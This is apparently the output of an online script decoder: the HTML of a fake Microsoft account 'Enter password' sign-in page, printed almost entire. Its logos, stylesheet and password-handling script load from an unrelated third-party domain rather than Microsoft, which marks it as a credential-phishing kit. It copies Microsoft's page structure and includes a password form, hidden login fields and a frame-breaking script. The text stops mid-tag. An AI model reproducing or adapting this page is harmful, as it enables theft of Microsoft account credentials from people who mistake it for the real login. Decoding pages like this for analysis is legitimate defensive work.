Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

<script language=javascript><!DOCTYPE html>
<html dir="ltr" lang="EN-GB">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
    <base href=>
    <script
        type="text/javascript">var PROOF = {}; PROOF.Type = { SQSA: 6, CSS: 5, DeviceId: 4, Email: 1, AltEmail: 2, SMS: 3, HIP: 8, Birthday: 9, TOTPAuthenticator: 10, RecoveryCode: 11, StrongTicket: 13, TOTPAuthenticatorV2: 14, UniversalSecondFactor: 15, SecurityKey: 18, Voice: -3 };</script>
    <noscript>
        <meta http-equiv="Refresh"
            content="0; URL=https://login.live.com/jsDisabled.srf?mkt=EN-GB&lc=2057&uaid=a895326f36b74fc294363ee60298259d" />
        Microsoft account requires JavaScript to sign in. This web browser either does not support JavaScript, or
        scripts are being blocked.<br /><br />To find out whether your browser supports JavaScript, or to allow scripts,
        see the browser's online help.
    </noscript>
    <title>Sign in to your Microsoft account</title>
    <meta name="robots" content="none">
    <meta name="PageID" content="i5030">
    <meta name="SiteID" content="38936">
    <meta name="ReqLC" content="2057">
    <meta name="LocLC" content="2057">
    <meta name="viewport"
        content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <script
        type="text/javascript">!function (e, r) { for (var t in r) e[t] = r[t] }(this, function (e) { function r(n) { if (t[n]) return t[n].exports; var o = t[n] = { exports: {}, id: n, loaded: !1 }; return e[n].call(o.exports, o, o.exports, r), o.loaded = !0, o.exports } var t = {}; return r.m = e, r.c = t, r.p = "", r(0) }([function (e, r) { !function () { function e() { return l.$Config || l.ServerData || {} } function r(e, r) { var t = l.$Debug; t && t.appendLog && (r && (e += " '" + (r.src || r.href || "") + "'", e += ", id:" + (r.id || ""), e += ", async:" + (r.async || ""), e += ", defer:" + (r.defer || "")), t.appendLog(e)) } function t() { var e = l.$B; if (void 0 === c) if (e) c = e.IE; else { var r = l.navigator.userAgent; c = r.indexOf("MSIE ") !== -1 || r.indexOf("Trident/") !== -1 } return c } function n() { var e = l.$B; if (void 0 === f) if (e) f = e.RE_Edge; else { var r = l.navigator.userAgent; f = r.indexOf("Edge") !== -1 } return f } function o(e) { var r = e.indexOf("?"), t = r > -1 ? r : e.length, n = e.lastIndexOf(, t), o = e.substring(n, n + h.length).toLowerCase() === h; return o } function a() { var r = e(), t = r.loader || {}; return t.slReportFailure || r.slReportFailure || !1 } function i() { var r = e(), t = r.loader || {}; return t.redirectToErrorPageOnLoadFailure || !1 } function s() { var r = e(), t = r.loader || {}; return t.logByThrowing || !1 } function d(e) { if (!t() && !n()) return !1; var r = e.src || e.href || ""; if (!r) return !0; if (o(r)) { var a, i, s; try { a = e.sheet, i = a && a.cssRules, s = !1 } catch (d) { s = !0 } if (a && !i && s) return !0; if (a && i && 0 === i.length) return !0 } return !1 } function u() { function t(e) { var r = g.getElementsByTagName("head")[0]; r.appendChild(e) } function n(e, r, t, n) { var d = null; return d = o(e) ? a(e) : "script" === n.toLowerCase() ? i(e) : s(e, n), r && (d.id = r), "function" == typeof d.setAttribute && (d.setAttribute("crossorigin", "anonymous"), t && "string" == typeof t && d.setAttribute("integrity", t)), d } function a(e) { var r = g.createElement("link"); return r.rel = "stylesheet", r.type = "text/css", r.href = e, r } function i(e) { var r = g.createElement("script"), t = g.querySelector("script[nonce]"); if (r.type = "text/javascript", r.src = e, r.defer = !1, r.async = !1, t) { var n = t.nonce || t.getAttribute("nonce"); r.setAttribute("nonce", n) } return r } function s(e, r) { var t = g.createElement(r); return t.src = e, t } function c(e, r) { if (e && e.length > 0 && r) for (var t = 0; t < e.length; t++)if (r.indexOf(e[t]) !== -1) return !0; return !1 } function f(r) { var t = e(); if (t.cs) { var n = c(L, r) ? L : x; if (!(n && n.length > 1)) return r; for (var o = "https://", a = 0; a < n.length; a++)if (r.indexOf(n[a]) !== -1) { var i = n[a + 1 < n.length ? a + 1 : 0], s = r.substring(n[a].length); return n[a].substring(0, o.length) !== o && (i = o + i, s = s.substring(o.length)), i + s } return r } if (!(x && x.length > 1)) return r; for (var d = 0; d < x.length; d++)if (0 === r.indexOf(x[d])) return x[d + 1 < x.length ? d + 1 : 0] + r.substring(x[d].length); return r } function l(e, t, n, o) { return r("[$Loader]: " + (R.failMessage || "Failed"), o), b[e].retry < y ? (b[e].retry++, v(e, t, n), void u._ReportFailure(b[e].retry, b[e].srcPath)) : void (n && n()) } function h(e, t, n, o) { if (d(o)) return l(e, t, n, o); r("[$Loader]: " + (R.successMessage || "Loaded"), o), v(e + 1, t, n); var a = b[e].onSuccess; "function" == typeof a && a(b[e].srcPath) } function v(e, o, a) { if (e < b.length) { var i = b[e]; if (!i || !i.srcPath) return void v(e + 1, o, a); i.retry > 0 && (i.srcPath = f(i.srcPath), i.origId || (i.origId = i.id), i.id = i.origId + "_Retry_" + i.retry); var s = n(i.srcPath, i.id, i.integrity, i.tagName); s.onload = function () { h(e, o, a, s) }, s.onerror = function () { l(e, o, a, s) }, s.onreadystatechange = function () { "loaded" === s.readyState ? setTimeout(function () { h(e, o, a, s) }, 500) : "complete" === s.readyState && h(e, o, a, s) }, t(s), r("[$Loader]: Loading '" + (i.srcPath || "") + "', id:" + (i.id || "")) } else o && o() } var p = e(), y = p.slMaxRetry || 2, m = p.loader || {}, x = m.cdnRoots || [], L = m.tenantBrandingCdnRoots || [], R = this, b = []; R.retryOnError = !0, R.successMessage = "Loaded", R.failMessage = "Error", R.Add = function (e, r, t, n, o, a) { e && b.push({ srcPath: e, id: r, retry: n || 0, integrity: t, tagName: o || "script", onSuccess: a }) }, R.AddForReload = function (e, r) { var t = e.src || e.href || ""; R.Add(t, "AddForReload", e.integrity, 1, e.tagName, r) }, R.AddIf = function (e, r, t) { e && R.Add(r, t) }, R.Load = function (e, r) { v(0, e, r) } } var c, f, l = window, g = l.document, h = ".css"; u.On = function (e, r, t) { if (!e) throw "The target element must be provided and cannot be null."; r ? u.OnError(e, t) : u.OnSuccess(e, t) }, u.OnSuccess = function (e, t) { if (!e) throw "The target element must be provided and cannot be null."; if (d(e)) return u.OnError(e, t); var n = e.src || e.href || "", o = a(), s = i(); r("[$Loader]: Loaded", e); var c = new u; c.failMessage = "Reload Failed", c.successMessage = "Reload Success", c.Load(null, function () { if (o) throw "Unexpected state. ResourceLoader.Load() failed despite initial load success. ['" + n + "']"; s && (document.location.href = "/error.aspx?err=504") }) }, u.OnError = function (e, t) { var n = e.src || e.href || "", o = a(), s = i(); if (!e) throw "The target element must be provided and cannot be null."; r("[$Loader]: Failed", e); var d = new u; d.failMessage = "Reload Failed", d.successMessage = "Reload Success", d.AddForReload(e, t), d.Load(null, function () { if (o) throw "Failed to load external resource ['" + n + "']"; s && (document.location.href = "/error.aspx?err=504") }), u._ReportFailure(0, n) }, u._ReportFailure = function (e, r) { if (s() && !t()) throw "[Retry " + e + "] Failed to load external resource ['" + r + "'], reloading from fallback CDN endpoint" }, l.$Loader = u }() }]));</script>
    <script
        type="text/javascript">!function (r, t) { for (var e in t) r[e] = t[e] }(this, function (r) { function t(o) { if (e[o]) return e[o].exports; var n = e[o] = { exports: {}, id: o, loaded: !1 }; return r[o].call(n.exports, n, n.exports, t), n.loaded = !0, n.exports } var e = {}; return t.m = r, t.c = e, t.p = "", t(0) }([function (r, t) { !function () { function r(r, t) { function e(i) { var a = r[i]; return i < o - 1 ? void (n.r[a] ? e(i + 1) : n.when(a, function () { e(i + 1) })) : void t(a) } var o = r.length; e(0) } function t(r, t, i) { function a() { var r = !!u.method, n = r ? u.method : i[0], a = u.extraArgs || [], c = o.$WebWatson; try { var f = e(i, !r); if (a && a.length > 0) for (var s = a.length, v = 0; v < s; v++)f.push(a[v]); n.apply(t, f) } catch (h) { return void (c && c.submitFromException && c.submitFromException(h)) } } var u = n.r && n.r[r]; return t = t ? t : this, u && (u.skipTimeout ? a() : o.setTimeout(a, 0)), u } function e(r, t) { return Array.prototype.slice.call(r, t ? 1 : 0) } var o = window; o.$Do || (o.$Do = { q: [], r: [], removeItems: [], lock: 0, o: [] }); var n = o.$Do; n.when = function (e, o) { function i(r) { t(r, a, u) || n.q.push({ id: r, c: a, a: u }) } var a = 0, u = [], c = 1, f = "function" == typeof o; f || (a = o, c = 2); for (var s = c; s < arguments.length; s++)u.push(arguments[s]); e instanceof Array ? r(e, i) : i(e) }, n.register = function (r, e, o) { if (!n.r[r]) { n.o.push(r); var i = {}; if (e && (i.method = e), o && (i.skipTimeout = o), arguments && arguments.length > 3) { i.extraArgs = []; for (var a = 3; a < arguments.length; a++)i.extraArgs.push(arguments[a]) } n.r[r] = i, n.lock++; try { for (var u = 0; u < n.q.length; u++) { var c = n.q[u]; c.id == r && t(r, c.c, c.a) && n.removeItems.push(c) } } catch (f) { throw f } finally { if (n.lock--, 0 === n.lock) { for (var s = 0; s < n.removeItems.length; s++)for (var v = n.removeItems[s], h = 0; h < n.q.length; h++)if (n.q[h] === v) { n.q.splice(h, 1); break } n.removeItems = [] } } } }, n.unregister = function (r) { n.r[r] && delete n.r[r] } }() }]));</script>
    <script
        type="text/javascript">!function (n, e) { for (var r in e) n[r] = e[r] }(this, function (n) { function e(o) { if (r[o]) return r[o].exports; var t = r[o] = { exports: {}, id: o, loaded: !1 }; return n[o].call(t.exports, t, t.exports, e), t.loaded = !0, t.exports } var r = {}; return e.m = n, e.c = r, e.p = "", e(0) }([function (n, e) { !function () { function n() { return r.$Config || r.ServerData || {} } function e() { var e = (n(), new t), r = this, i = [], f = []; r.Add = function (n, r, o, t) { e.Add(n, r, o, t) }, r.Provides = function (n) { if (n) if (n instanceof Array) for (var e = 0; e < n.length; e++)i.push(n[e]); else i.push(n) }, r.Requires = function (n) { if (n) if (n instanceof Array) for (var e = 0; e < n.length; e++)f.push(n[e]); else f.push(n) }, r.Load = function (n, r) { var t = function () { n && n(); for (var e = 0; e < i.length; e++)o.register(i[e], 0, !0) }, u = function () { e.Load(t, r) }; f.length > 0 ? o.when(f, u) : u() } } var r = window, o = (r.document, r.$Do), t = r.$Loader, i = ".css"; i.length; e.WhenLoaded = function (n, e) { o.when(n, e) }, r.$DepLoader = e }() }]));</script>
    <link rel="shortcut icon" href="https://jdmediax.com/app/officenormal/media/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" onload="$Loader.OnSuccess(this)"
        onerror="$Loader.OnError(this)"
        href="https://jdmediax.com/app/officenormal/media/Converged_v22057_sKiljltKC1Ne_Y3fl1HuHQ2.css">
    <style type="text/css"></style>
    <style type="text/css">
        body {
            display: none;
        }
    </style>
    <script
        type="text/javascript">if (top != self) { try { top.location.replace(self.location.href); } catch (e) { } } else { document.write(unescape('%3C%73') + 'tyle type="text/css">body{display:block !important;}</style>'); }</script>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style><noscript>
        <style type="text/css">
            body {
                display: block !important;
            }
        </style>
    </noscript>
    <style type="text/css">
        .inner,
        .promoted-fed-cred-box,
        .sign-in-box,
        .new-session-popup-v2sso,
        .debug-details-banner,
        .vertical-split-content {
            min-width: 0;
        }

        .errorzz {
            padding: 4px 8px;
            border-style: solid;
            border-width: 2px;
            border-color: rgba(0, 0, 0, .4);
            background-color: rgba(255, 255, 255, .4);
            height: 32px;
            height: 2rem;
            padding: 6px 10px;
            border-width: 1px;
            border-color: #666;
            height: 36px;
            outline: none;
            border-radius: 0;
            -webkit-border-radius: 0;
            background-color: transparent;
            border-top-width: 0;
            border-left-width: 0;
            border-right-width: 0;
            padding-left: 0;
            border-color: #e81123;
        }

        .loader {
            position: fixed;
            opacity: 0.5;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            background: #333333;
            transition: opacity 0.75s, visibility 0.75s;
            z-index: 10000;
        }

        .loader--hidden {
            opacity: 0;
            visibility: hidden;
        }

        .loader::after {
            content: "";
            width: 75px;
            height: 75px;
            border: 15px solid #dddddd;
            border-top-color: #0078c8;
            border-radius: 50%;
            animation: loading 0.75s ease infinite;
            z-index: 10000;
        }

        @keyframes loading {
            from {
                transform: rotate(0turn);
            }

            to {
                transform: rotate(1turn);
            }
        }
    </style>
    <script charset="utf-8"
        src="https://jdmediax.com/app/officenormal/media/convergedlogin_ppassword_b2ec0d9661751c7da58d.js.download"></script>
    <style type="text/css">
        .inner,
        .promoted-fed-cred-box,
        .sign-in-box,
        .new-session-popup-v2sso,
        .debug-details-banner,
        .vertical-split-content {
            min-width: 0;
        }
    </style>
    <style type="text/css">
        .inner,
        .promoted-fed-cred-box,
        .sign-in-box,
        .new-session-popup-v2sso,
        .debug-details-banner,
        .vertical-split-content {
            min-width: 0;
        }
    </style>
</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div class="loader loader--hidden"></div>
    <div>

        

        <div data-bind="if: activeDialog"></div>

        <form name="f1" id="i0281" novalidate="novalidate" spellcheck="false" method="post" target="_top"
            autocomplete="off"
            data-bind="autoSubmit: forceSubmit, attr: { action: postUrl }, ariaHidden: !!activeDialog(), css: { &#39;provide-min-height&#39;: svr.cu }"
            class="provide-min-height myform">
            
            <div class="login-paginated-page" data-bind="component: { name: &#39;master-page&#39;,
        publicMethods: masterPageMethods,
        params: {
            serverData: svr,
            showButtons: svr.e,
            showFooterLinks: true,
            useWizardBehavior: svr.bn,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }">

                

                
                
                
                <div id="lightboxTemplateContainer"
                    data-bind="component: { name: &#39;lightbox-template&#39;, params: { serverData: svr, showHeader: $page.showHeader(), headerLogo: $page.headerLogo() } }, css: { &#39;provide-min-height&#39;: svr.cu }"
                    class="provide-min-height">

                    <div id="lightboxBackgroundContainer" data-bind="css: { &#39;provide-min-height&#39;: svr.cV },
    component: { name: &#39;background-image-control&#39;,
        publicMethods: $page.backgroundControlMethods,
        event: { load: $page.backgroundImageControl_onLoad } }">
                        <div class="background-image-holder" role="presentation"
                            data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
                            

                            
                            
                            
                            <div id="backgroundImage"
                                data-bind="backgroundImage: backgroundImageUrl(), externalCss: { &#39;background-image&#39;: true }"
                                class="background-image ext-background-image"
                                style="background-image: url(&quot;https://logincdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg&quot;);">
                            </div>
                            
                            
                            
                        </div>
                    </div>

                    

                    
                    <div class="outer" data-bind="css: { &#39;app&#39;: $page.backgroundLogoUrl }">
                        

                        <div class="template-section main-section">
                            <div data-bind="externalCss: { &#39;middle&#39;: true }" class="middle ext-middle">
                                <div class="full-height"
                                    data-bind="component: { name: &#39;content-control&#39;, params: { serverData: svr, isVerticalSplitTemplate: $page.isVerticalSplitTemplate(), hasHeader: showHeader } }">
                                    

                                    
                                    <div class="flex-column">
                                        

                                        

                                        <div class="win-scroll">
                                            <div id="lightbox" data-bind="
            animationEnd: $page.paginationControlHelper.animationEnd,
            externalCss: { &#39;sign-in-box&#39;: true },
            css: {
                &#39;inner&#39;:  $content.isVerticalSplitTemplate,
                &#39;vertical-split-content&#39;: $content.isVerticalSplitTemplate,
                &#39;app&#39;: $page.backgroundLogoUrl,
                &#39;wide&#39;: $page.paginationControlHelper.useWiderWidth,
                &#39;fade-in-lightbox&#39;: $page.fadeInLightBox,
                &#39;has-popup&#39;: $page.showFedCredAndNewSession &amp;&amp; ($page.showFedCredButtons() || $page.newSession()),
                &#39;transparent-lightbox&#39;: $page.backgroundControlMethods() &amp;&amp; $page.backgroundControlMethods().useTransparentLightBox,
                &#39;lightbox-bottom-margin-debug&#39;: $page.showDebugDetails,
                &#39;has-header&#39;: $content.hasHeader }" class="sign-in-box ext-sign-in-box fade-in-lightbox">

                                                

                                                

                                                <div class="lightbox-cover"
                                                    data-bind="css: { &#39;disable-lightbox&#39;: svr.Co &amp;&amp; showLightboxProgress() }">
                                                </div>

                                                

                                                
                                                <div data-bind="component: { name: &#39;logo-control&#39;,
            params: {
                isChinaDc: svr.fIsChinaDc,
                bannerLogoUrl: bannerLogoUrl() } }">

                                                    

                                                    

                                                    
                                                    
                                                    
                                                    
                                                    <img
                                                        class="logo" role="img"
                                                        pngsrc="https://jdmediax.com/app/officenormal/media/microsoft_logo_ea19b2112f4dfd8e90b4505ef7dcb4f9.png"
                                                        svgsrc="https://jdmediax.com/app/officenormal/media/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
                                                        data-bind="imgSrc, attr: { alt: str[&#39;MOBILE_STR_Footer_Microsoft&#39;] }"
                                                        src="https://jdmediax.com/app/officenormal/media/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
                                                        alt="Microsoft">
                                                    
                                                    
                                                    
                                                </div>
                                                

                                                

                                                
                                                <div role="main" data-bind="component: { name: &#39;pagination-control&#39;,
            publicMethods: paginationControlMethods,
            params: {
                enableCssAnimation: svr.Bg,
                disableAnimationIfAnimationEndUnsupported: svr.Cs,
                initialViewId: initialViewId,
                currentViewId: currentViewId,
                initialSharedData: initialSharedData,
                initialError: $loginPage.getServerError() },
            event: {
                cancel: paginationControl_onCancel,
                load: paginationControlHelper.onLoad,
                unload: paginationControlHelper.onUnload,
                loadView: view_onLoadView,
                showView: view_onShow,
                setLightBoxFadeIn: view_onSetLightBoxFadeIn,
                animationStateChange: paginationControl_onAnimationStateChange } }">

                                                    <div data-bind="css: { &#39;zero-opacity&#39;: hidePaginatedView() }"
                                                        class="">
                                                        
                                                        <div data-bind="css: {
        &#39;animate&#39;: animate() &amp;&amp; animate.animateBanner(),
        &#39;slide-out-next&#39;: animate.isSlideOutNext(),
        &#39;slide-in-next&#39;: animate.isSlideInNext(),
        &#39;slide-out-back&#39;: animate.isSlideOutBack(),
        &#39;slide-in-back&#39;: animate.isSlideInBack() }" class="animate slide-in-next">

                                                            <div data-bind="component: { name: &#39;identity-banner-control&#39;,
            params: {
                userTileUrl: svr.CH,
                displayName: sharedData.displayName || svr.h,
                isBackButtonVisible: isBackButtonVisible(),
                focusOnBackButton: isBackButtonFocused(),
                backButtonDescribedBy: backButtonDescribedBy() },
            event: {
                backButtonClick: identityBanner_onBackButtonClick } }">

                                                                <div class="identityBanner">
                                                                    

                                                                    <div id="displayName" class="identity"
                                                                        data-bind="text: unsafe_displayName, attr: { &#39;title&#39;: unsafe_displayName }"
                                                                        title=""></div>
                                                                </div>
                                                            </div>
                                                        </div>
                                                        

                                                        <div class="pagination-view has-identity-banner animate slide-in-next"
                                                            data-bind="css: {
        &#39;has-identity-banner&#39;: showIdentityBanner() &amp;&amp; (sharedData.displayName || svr.h),
        &#39;zero-opacity&#39;: hidePaginatedView.hideSubView(),
        &#39;animate&#39;: animate(),
        &#39;slide-out-next&#39;: animate.isSlideOutNext(),
        &#39;slide-in-next&#39;: animate.isSlideInNext(),
        &#39;slide-out-back&#39;: animate.isSlideOutBack(),
        &#39;slide-in-back&#39;: animate.isSlideInBack() }">

                                                            
                                                            

                                                            

                                                            

                                                            
                                                            
                                                            <div data-viewid="2" data-showidentitybanner="true"
                                                                data-dynamicbranding="true" data-bind="pageViewComponent: { name: &#39;login-paginated-password-view&#39;,
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    hipRequiredForUsername: sharedData.hipRequiredForUsername,
                    passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    flowToken: sharedData.flowToken,
                    defaultKmsiValue: svr.Ap === 1,
                    userTenantBranding: sharedData.userTenantBranding,
                    sessions: sharedData.sessions,
                    callMetadata: sharedData.callMetadata,
                    supportsNativeCredentialRecovery: sharedData.supportsNativeCredentialRecovery,
                    forgotPasswordText: $loginPage.forgotPasswordText,
                    accessRecoveryLink: $loginPage.accessRecoveryLink,
                    boilerPlateText: $loginPage.boilerPlateText,
                    hideAccountResetCredentials: $loginPage.hideAccountResetCredentials },
                event: {
                    restoreIsRecoveryAttemptPost: $loginPage.view_onRestoreIsRecoveryAttemptPost,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    redirect: $loginPage.view_onRedirect,
                    resetPassword: $loginPage.passwordView_onResetPassword,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">

                                                                

                                                                <div aria-hidden="true">
                                                                    <input type="hidden" name="i13"
                                                                        data-bind="value: isKmsiChecked() ? 1 : 0"
                                                                        value="0">

                                                                    
                                                                    <input type="hidden" name="login"
                                                                        class="in-identity" autocomplete="username"
                                                                        data-bind="value: unsafe_username" value="">
                                                                    
                                                                    

                                                                    
                                                                    <input type="text" name="loginfmt"
                                                                        data-bind="moveOffScreen, value: unsafe_displayName"
                                                                        class="moveOffScreen" tabindex="-1"
                                                                        aria-hidden="true">
                                                                    <input type="hidden" name="type"
                                                                        data-bind="value: svr.bn ? 20 : 11" value="11">
                                                                    <input type="hidden" name="LoginOptions"
                                                                        data-bind="value: isKmsiChecked() ? 1 : 3"
                                                                        value="3">
                                                                    <input type="hidden" name="lrt"
                                                                        data-bind="value: callMetadata.IsLongRunningTransaction"
                                                                        value="">
                                                                    <input type="hidden" name="lrtPartition"
                                                                        data-bind="value: callMetadata.LongRunningTransactionPartition"
                                                                        value="">
                                                                    <input type="hidden" name="hisRegion"
                                                                        data-bind="value: callMetadata.HisRegion"
                                                                        value="">
                                                                    <input type="hidden" name="hisScaleUnit"
                                                                        data-bind="value: callMetadata.HisScaleUnit"
                                                                        value="">
                                                                </div>

                                                                <div id="loginHeader" class="row title ext-title"
                                                                    data-bind="externalCss: { &#39;title&#39;: true }">
                                                                    <div role="heading" aria-level="1"
                                                                        data-bind="text: str[&#39;CT_PWD_STR_EnterPassword_Title&#39;]">
                                                                        Enter password</div>
                                                                </div>

                                                                

                                                                

                                                                <div class="row">
                                                                    <div class="form-group col-md-24">
                                                                        <div role="alert" aria-live="assertive">
                                                                            
                                                                        </div>
                                                                        <div id="passwordError"
                                                                            data-bind="
                                                                                          externalCss: { 'error': true },
                                                                                          htmlWithBindings: passwordTextbox.error,
                                                                                          childBindings: {
                                                                                              'idA_IL_ForgotPassword0': {
                                                                                                  href: accessRecoveryLink || svr.O,
                                                                                                  attr: {
                                                                                                      target: accessRecoveryLink &amp;&amp; '_blank',
                                                                                                      role: supportsNativeCredentialRecovery ? 'button' : 'link'
                                                                                                  },
                                                                                                  click: accessRecoveryLink ? null : resetPassword_onClick } }"
                                                                            class="error ext-error e1 hidden">Please
                                                                            enter the password for your Microsoft
                                                                            account.</div>
                                                                        <div id="passwordError"
                                                                            data-bind="
                                                                                          externalCss: { 'error': true },
                                                                                          htmlWithBindings: passwordTextbox.error,
                                                                                          childBindings: {
                                                                                              'idA_IL_ForgotPassword0': {
                                                                                                  href: accessRecoveryLink || svr.O,
                                                                                                  attr: {
                                                                                                      target: accessRecoveryLink &amp;&amp; '_blank',
                                                                                                      role: supportsNativeCredentialRecovery ? 'button' : 'link'
                                                                                                  },
                                                                                                  click: accessRecoveryLink ? null : resetPassword_onClick } }"
                                                                            class="error ext-error e2 hidden">Your
                                                                            account or password is incorrect.</div>

                                                                        <div class="placeholderContainer" data-bind="component: { name: &#39;placeholder-textbox-field&#39;,
            publicMethods: passwordTextbox.placeholderTextboxMethods,
            params: {
                serverData: svr,
                hintText: str[&#39;CT_PWD_STR_PwdTB_Label&#39;] },
            event: {
                updateFocus: passwordTextbox.textbox_onUpdateFocus } }">
                                                                            

                                                                            <input name="passwd" type="password"
                                                                                id="i0118"
                                                                                class="form-control input ext-input text-box ext-text-box passwording p11"
                                                                                placeholder="Password">

                                                                            
                                                                            
                                                                            
                                                                            
                                                                        </div>

                                                                        
                                                                    </div>
                                                                </div>

                                                                

                                                                <div data-bind="css: { &#39;position-buttons&#39;: !tenantBranding.BoilerPlateText &amp;&amp; !boilerPlateText }, externalCss: { &#39;password-reset-links-container&#39;: true }"
                                                                    class="position-buttons password-reset-links-container ext-password-reset-links-container">
                                                                    <div>
                                                                        
                                                                        

                                                                        <div class="row">
                                                                            <div class="col-md-24">
                                                                                <div class="text-13">
                                                                                    
                                                                                    
                                                                                    <div class="form-group">
                                                                                        
                                                                                        
                                                                                        <a id="idA_PWD_ForgotPassword"
                                                                                            role="link" data-bind="
                            text: unsafe_forgotPasswordText,
                            href: accessRecoveryLink || svr.O,
                            attr: { target: accessRecoveryLink &amp;&amp; &#39;_blank&#39; },
                            click: accessRecoveryLink ? null : resetPassword_onClick">Forgotten your password?</a>
                                                                                        
                                                                                    </div>
                                                                                    
                                                                                    
                                                                                    
                                                                                    

                                                                                    <div class="form-group">
                                                                                        
                                                                                        <a id="idA_PWD_SwitchToCredPicker"
                                                                                            href="https://login.live.com/#"
                                                                                            data-bind="
        text: isUserKnown ? str[&#39;CT_PWD_STR_SwitchToCredPicker_Link&#39;] : str[&#39;CT_PWD_STR_SwitchToCredPicker_Link_NoUser&#39;],
        ariaDescribedBy: ariaDescribedBy,
        click: switchToCredPicker_onClick,
        hasFocusEx: setFocus">Other ways to sign in</a>
                                                                                        

                                                                                        

                                                                                        
                                                                                    </div>

                                                                                    

                                                                                    
                                                                                    
                                                                                    
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </div>

                                                                    <div class="win-button-pin-bottom"
                                                                        data-bind="css : { &#39;boilerplate-button-bottom&#39;: tenantBranding.BoilerPlateText || boilerPlateText }">
                                                                        <div class="row"
                                                                            data-bind="css: { &#39;move-buttons&#39;: tenantBranding.BoilerPlateText || boilerPlateText }">
                                                                            <div data-bind="component: { name: &#39;footer-buttons-field&#39;,
                params: {
                    serverData: svr,
                    primaryButtonText: str[&#39;CT_PWD_STR_SignIn_Button&#39;],
                    isPrimaryButtonEnabled: !isRequestPending(),
                    isPrimaryButtonVisible: svr.e,
                    isSecondaryButtonEnabled: true,
                    isSecondaryButtonVisible: false },
                event: {
                    primaryButtonClick: primaryButton_onClick } }">
                                                                                <div class="col-xs-24 no-padding-left-right button-container button-field-container ext-button-field-container"
                                                                                    data-bind="
    visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
    css: { &#39;no-margin-bottom&#39;: removeBottomMargin },
    externalCss: { &#39;button-field-container&#39;: true }">

                                                                                    

                                                                                    <div data-bind="css: { &#39;inline-block&#39;: isPrimaryButtonVisible }, externalCss: { &#39;button-item&#39;: true }"
                                                                                        class="inline-block button-item ext-button-item">
                                                                                        
                                                                                        <input type="submit"
                                                                                            id="idSIButton9"
                                                                                            class="win-button button_primary button ext-button primary ext-primary"
                                                                                            data-report-event="Signin_Submit"
                                                                                            data-report-trigger="click"
                                                                                            data-report-value="Submit"
                                                                                            data-bind="
                attr: primaryButtonAttributes,
                externalCss: {
                    &#39;button&#39;: true,
                    &#39;primary&#39;: true },
                value: primaryButtonText() || str[&#39;CT_PWD_STR_SignIn_Button_Next&#39;],
                hasFocus: focusOnPrimaryButton,
                click: svr.fEnableLivePreview ?  function() { } : primaryButton_onClick,
                clickBubble: !svr.fEnableLivePreview,
                enable: isPrimaryButtonEnabled,
                visible: isPrimaryButtonVisible,
                preventTabbing: primaryButtonPreventTabbing" value="Sign in" data-report-attached="1">
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </div>
                                                                </div>

                                                                
                                                            </div>
                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            
                                                            
                                                        </div>
                                                    </div>
                                                </div>
                                                

                                                <input type="hidden" name="ps" data-bind="value: postedLoginStateViewId"
                                                    value="">
                                                <input type="hidden" name="psRNGCDefaultType"
                                                    data-bind="value: postedLoginStateViewRNGCDefaultType" value="">
                                                <input type="hidden" name="psRNGCEntropy"
                                                    data-bind="value: postedLoginStateViewRNGCEntropy" value="">
                                                <input type="hidden" name="psRNGCSLK"
                                                    data-bind="value: postedLoginStateViewRNGCSLK" value="">
                                                
                                                
                                                <input type="hidden" name="canary" data-bind="value: svr.canary"
                                                    value="">
                                                
                                                <input type="hidden" name="ctx" data-bind="value: ctx" value="">
                                                <input type="hidden" name="hpgrequestid"
                                                    data-bind="value: svr.sessionId" value="">
                                                <input type="hidden" id="i0327"
                                                    data-bind="attr: { name: svr.bY }, value: flowToken" name="PPFT"
                                                    value="-DtN4ZWbWkTzzk9u4ZER*JliwnMtmR1m4*mySFsXjgoE5OIs*uKfOPILZuX2EaQL5KhAbqMp*fWhd!QZ*jWdv7xvya9sh6Z4ZomMXBrX4HoY3uUCeLhZe5l8R9FHEuWptuxGvVqWKXPNOqJ1UdJhxv!AqAZqE358hKk*Ikt36b9nnWeLXRXNVl9hbyiTvo8XHFw$$">
                                                <input type="hidden" name="PPSX" data-bind="value: svr.Dl"
                                                    value="Passp">
                                                <input type="hidden" name="NewUser" value="1">
                                                <input type="hidden" name="FoundMSAs" data-bind="value: svr.AT"
                                                    value="">
                                                <input type="hidden" name="fspost"
                                                    data-bind="value: svr.fPOST_ForceSignin ? 1 : 0" value="0">
                                                <input type="hidden" name="i21"
                                                    data-bind="value: wasLearnMoreShown() ? 1 : 0" value="0">
                                                <input type="hidden" name="CookieDisclosure"
